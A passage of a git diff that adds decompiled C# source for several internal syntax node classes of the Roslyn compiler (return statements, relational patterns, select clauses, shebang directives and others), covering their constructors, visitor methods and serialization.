SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal RelationalPatternSyntax(SyntaxKind kind, SyntaxToken operatorToken, ExpressionSyntax expression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal RelationalPatternSyntax(SyntaxKind kind, SyntaxToken operatorToken, ExpressionSyntax expression) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => operatorToken, + 1 => expression, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.RelationalPatternSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRelationalPattern(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRelationalPattern(this); + } + + public RelationalPatternSyntax Update(SyntaxToken operatorToken, ExpressionSyntax expression) + { + if (operatorToken != OperatorToken || expression != Expression) + { + RelationalPatternSyntax relationalPatternSyntax = SyntaxFactory.RelationalPattern(operatorToken, expression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + relationalPatternSyntax = GreenNodeExtensions.WithDiagnosticsGreen(relationalPatternSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + relationalPatternSyntax = GreenNodeExtensions.WithAnnotationsGreen(relationalPatternSyntax, (IEnumerable)annotations); + } + return relationalPatternSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new RelationalPatternSyntax(base.Kind, operatorToken, expression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new RelationalPatternSyntax(base.Kind, operatorToken, expression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal RelationalPatternSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + operatorToken = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)operatorToken); + writer.WriteValue((IObjectWritable)(object)expression); + } + + static RelationalPatternSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(RelationalPatternSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new RelationalPatternSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ReturnStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ReturnStatementSyntax.cs new file mode 100644 index 0000000..48b91df --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ReturnStatementSyntax.cs @@ -0,0 +1,186 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ReturnStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken returnKeyword; + + internal readonly ExpressionSyntax? expression; + + internal readonly SyntaxToken semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken ReturnKeyword => returnKeyword; + + public ExpressionSyntax? Expression => expression; + + public SyntaxToken SemicolonToken => semicolonToken; + + internal ReturnStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken returnKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnKeyword); + this.returnKeyword = returnKeyword; + if (expression != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal ReturnStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken returnKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnKeyword); + this.returnKeyword = returnKeyword; + if (expression != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal ReturnStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken returnKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnKeyword); + this.returnKeyword = returnKeyword; + if (expression != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => returnKeyword, + 2 => expression, + 3 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ReturnStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitReturnStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitReturnStatement(this); + } + + public ReturnStatementSyntax Update(SyntaxList attributeLists, SyntaxToken returnKeyword, ExpressionSyntax expression, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || returnKeyword != ReturnKeyword || expression != Expression || semicolonToken != SemicolonToken) + { + ReturnStatementSyntax returnStatementSyntax = SyntaxFactory.ReturnStatement(attributeLists, returnKeyword, expression, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + returnStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(returnStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + returnStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(returnStatementSyntax, (IEnumerable)annotations); + } + return returnStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ReturnStatementSyntax(base.Kind, attributeLists, returnKeyword, expression, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ReturnStatementSyntax(base.Kind, attributeLists, returnKeyword, expression, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ReturnStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 4; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + returnKeyword = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + if (expressionSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + semicolonToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)returnKeyword); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static ReturnStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ReturnStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ReturnStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ScopedTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ScopedTypeSyntax.cs new file mode 100644 index 0000000..8838d2e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ScopedTypeSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ScopedTypeSyntax : TypeSyntax +{ + internal readonly SyntaxToken scopedKeyword; + + internal readonly TypeSyntax type; + + public SyntaxToken ScopedKeyword => scopedKeyword; + + public TypeSyntax Type => type; + + internal ScopedTypeSyntax(SyntaxKind kind, SyntaxToken scopedKeyword, TypeSyntax type, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)scopedKeyword); + this.scopedKeyword = scopedKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal ScopedTypeSyntax(SyntaxKind kind, SyntaxToken scopedKeyword, TypeSyntax type, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)scopedKeyword); + this.scopedKeyword = scopedKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal ScopedTypeSyntax(SyntaxKind kind, SyntaxToken scopedKeyword, TypeSyntax type) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)scopedKeyword); + this.scopedKeyword = scopedKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => scopedKeyword, + 1 => type, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ScopedTypeSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitScopedType(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitScopedType(this); + } + + public ScopedTypeSyntax Update(SyntaxToken scopedKeyword, TypeSyntax type) + { + if (scopedKeyword != ScopedKeyword || type != Type) + { + ScopedTypeSyntax scopedTypeSyntax = SyntaxFactory.ScopedType(scopedKeyword, type); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + scopedTypeSyntax = GreenNodeExtensions.WithDiagnosticsGreen(scopedTypeSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + scopedTypeSyntax = GreenNodeExtensions.WithAnnotationsGreen(scopedTypeSyntax, (IEnumerable)annotations); + } + return scopedTypeSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ScopedTypeSyntax(base.Kind, scopedKeyword, type, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ScopedTypeSyntax(base.Kind, scopedKeyword, type, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ScopedTypeSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + scopedKeyword = syntaxToken; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)scopedKeyword); + writer.WriteValue((IObjectWritable)(object)type); + } + + static ScopedTypeSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ScopedTypeSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ScopedTypeSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SelectClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SelectClauseSyntax.cs new file mode 100644 index 0000000..c47037c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SelectClauseSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class SelectClauseSyntax : SelectOrGroupClauseSyntax +{ + internal readonly SyntaxToken selectKeyword; + + internal readonly ExpressionSyntax expression; + + public SyntaxToken SelectKeyword => selectKeyword; + + public ExpressionSyntax Expression => expression; + + internal SelectClauseSyntax(SyntaxKind kind, SyntaxToken selectKeyword, ExpressionSyntax expression, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)selectKeyword); + this.selectKeyword = selectKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal SelectClauseSyntax(SyntaxKind kind, SyntaxToken selectKeyword, ExpressionSyntax expression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)selectKeyword); + this.selectKeyword = selectKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal SelectClauseSyntax(SyntaxKind kind, SyntaxToken selectKeyword, ExpressionSyntax expression) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)selectKeyword); + this.selectKeyword = selectKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => selectKeyword, + 1 => expression, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.SelectClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSelectClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSelectClause(this); + } + + public SelectClauseSyntax Update(SyntaxToken selectKeyword, ExpressionSyntax expression) + { + if (selectKeyword != SelectKeyword || expression != Expression) + { + SelectClauseSyntax selectClauseSyntax = SyntaxFactory.SelectClause(selectKeyword, expression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + selectClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(selectClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + selectClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(selectClauseSyntax, (IEnumerable)annotations); + } + return selectClauseSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new SelectClauseSyntax(base.Kind, selectKeyword, expression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new SelectClauseSyntax(base.Kind, selectKeyword, expression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal SelectClauseSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + selectKeyword = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)selectKeyword); + writer.WriteValue((IObjectWritable)(object)expression); + } + + static SelectClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(SelectClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new SelectClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SelectOrGroupClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SelectOrGroupClauseSyntax.cs new file mode 100644 index 0000000..b63cb1a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SelectOrGroupClauseSyntax.cs @@ -0,0 +1,21 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class SelectOrGroupClauseSyntax : CSharpSyntaxNode +{ + internal SelectOrGroupClauseSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal SelectOrGroupClauseSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected SelectOrGroupClauseSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ShebangDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ShebangDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..6c1f711 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ShebangDirectiveTriviaSyntax.cs @@ -0,0 +1,150 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ShebangDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken exclamationToken; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken ExclamationToken => exclamationToken; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + internal ShebangDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken exclamationToken, SyntaxToken endOfDirectiveToken, bool isActive, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)exclamationToken); + this.exclamationToken = exclamationToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal ShebangDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken exclamationToken, SyntaxToken endOfDirectiveToken, bool isActive, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)exclamationToken); + this.exclamationToken = exclamationToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal ShebangDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken exclamationToken, SyntaxToken endOfDirectiveToken, bool isActive) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)exclamationToken); + this.exclamationToken = exclamationToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => exclamationToken, + 2 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ShebangDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitShebangDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitShebangDirectiveTrivia(this); + } + + public ShebangDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken exclamationToken, SyntaxToken endOfDirectiveToken, bool isActive) + { + if (hashToken != HashToken || exclamationToken != ExclamationToken || endOfDirectiveToken != EndOfDirectiveToken) + { + ShebangDirectiveTriviaSyntax shebangDirectiveTriviaSyntax = SyntaxFactory.ShebangDirectiveTrivia(hashToken, exclamationToken, endOfDirectiveToken, isActive); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + shebangDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(shebangDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + shebangDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(shebangDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return shebangDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ShebangDirectiveTriviaSyntax(base.Kind, hashToken, exclamationToken, endOfDirectiveToken, isActive, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ShebangDirectiveTriviaSyntax(base.Kind, hashToken, exclamationToken, endOfDirectiveToken, isActive, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ShebangDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + exclamationToken = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + endOfDirectiveToken = syntaxToken3; + isActive = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)exclamationToken); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + } + + static ShebangDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ShebangDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ShebangDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SimpleBaseTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SimpleBaseTypeSyntax.cs new file mode 100644 index 0000000..1c73b14 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SimpleBaseTypeSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class SimpleBaseTypeSyntax : BaseTypeSyntax +{ + internal readonly TypeSyntax type; + + public override TypeSyntax Type => type; + + internal SimpleBaseTypeSyntax(SyntaxKind kind, TypeSyntax type, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal SimpleBaseTypeSyntax(SyntaxKind kind, TypeSyntax type, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal SimpleBaseTypeSyntax(SyntaxKind kind, TypeSyntax type) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)type; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.SimpleBaseTypeSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSimpleBaseType(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSimpleBaseType(this); + } + + public SimpleBaseTypeSyntax Update(TypeSyntax type) + { + if (type != Type) + { + SimpleBaseTypeSyntax simpleBaseTypeSyntax = SyntaxFactory.SimpleBaseType(type); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + 